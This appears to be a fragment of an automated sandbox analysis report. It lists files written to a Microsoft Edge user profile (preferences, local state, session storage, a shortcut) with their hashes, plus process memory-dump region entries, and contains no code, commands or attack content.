C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

MD5 e5e3377341056643b0494b6842c0b544
SHA1 d53fd8e256ec9d5cef8ef5387872e544a2df9108
SHA256 e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25
SHA512 83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef

memory/892-410-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

memory/892-407-0x000001E781CA0000-0x000001E781CC7000-memory.dmp

memory/1088-415-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

memory/1088-409-0x0000025F957B0000-0x0000025F957D7000-memory.dmp

memory/1108-420-0x0000026BE2260000-0x0000026BE2287000-memory.dmp

memory/1096-416-0x000001C14C740000-0x000001C14C767000-memory.dmp

memory/1096-419-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

memory/1108-421-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 c1a3c45dc07f766430f7feaa3000fb18
SHA1 698a0485bcf0ab2a9283d4ebd31ade980b0661d1
SHA256 adaba08026551b1b8f6c120143686da79f916d02adbef4a8d1c184e32a19fd48
SHA512 9fc93f01ab4b14f555791d757ffe881787cc697102547c61847552e597e206e70c6d35fedff559c72a0a67d1b95e769095ecb0a8a7d4f07cf58a7a0d57d3e9f4

memory/1168-430-0x000001659CC80000-0x000001659CCA7000-memory.dmp

memory/1168-431-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

memory/1340-433-0x000000000CDF0000-0x000000000CDF6000-memory.dmp

memory/512-440-0x00000151AC890000-0x00000151AC8B7000-memory.dmp

memory/1088-455-0x0000025F957B0000-0x0000025F957D7000-memory.dmp

memory/1096-459-0x000001C14C740000-0x000001C14C767000-memory.dmp

memory/892-450-0x000001E781CA0000-0x000001E781CC7000-memory.dmp

memory/1108-466-0x0000026BE2260000-0x0000026BE2287000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\MANIFEST-000001

MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

memory/1168-481-0x000001659CC80000-0x000001659CCA7000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT

MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

memory/1252-489-0x000001D05D3B0000-0x000001D05D3D7000-memory.dmp

memory/1284-494-0x000001556ACF0000-0x000001556AD17000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 8b6dd427dad0989690e3b2067e82d923
SHA1 b5272f82fab7672c632f846ff87f3010fb2b61bc
SHA256 0fdf4ede8caca8f1ad735bd4e3adb5e8d93ae68ab223094a7f89bf7702a2cc79
SHA512 b24f19cfa835a8b35e345b6f883beabae9f0eb1c71e35d0815030b5dad3a38358e69dd653f1dd2781be0eb082c82aeb24aa99447f7880d4329214164fe30046d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

MD5 5edab6d3ffbeee247ccb4423f929a323
SHA1 a4ad201d149d59392a2a3163bd86ee900e20f3d9
SHA256 460cddb95ea1d9bc8d95d295dd051b49a1436437a91ddec5f131235b2d516933
SHA512 263fa99f03ea1ef381ca19f10fbe0362c1f9c129502dc6b730b076cafcf34b40a70ee8a0ee9446ec9c89c3a2d9855450609ec0f8cf9d0a1b2aebdd12be58d38c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 0bc42a9e59959234ca5fb5e92377e0c6
SHA1 af00f4f54aa587e2691558df7148b12ef66323dd
SHA256 51a136b27c90cc53b0436614df94acf45e0529b36ed1cb27104e6fe310ed88fd
SHA512 928f5ae83857a02fccb28491c24f3deb41d3c0d68858e7004a6c055e972f993298e6bcd30d291b1cb5603ef0d7df7dd40c57d95404bf59317b76efeb22414d28

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Microsoft Edge.lnk

MD5 785747ff5c0f172d425740fc076d2364
SHA1 b78751fcbfac36f4df2624a82eaef3363214722a
SHA256 176b94ed78493a82ac79d35542032384e55930a8a45373aefd09baf0d55aef10
SHA512 70388e4d29cea4b81c8d174fd9a4a94d2086bdce77cf42f7a598e60812583eaab792ee547233426a0b53685ceed2aa33ce1ef941627687a6b6a35adbda749069

memory/1300-591-0x0000022986330000-0x0000022986357000-memory.dmp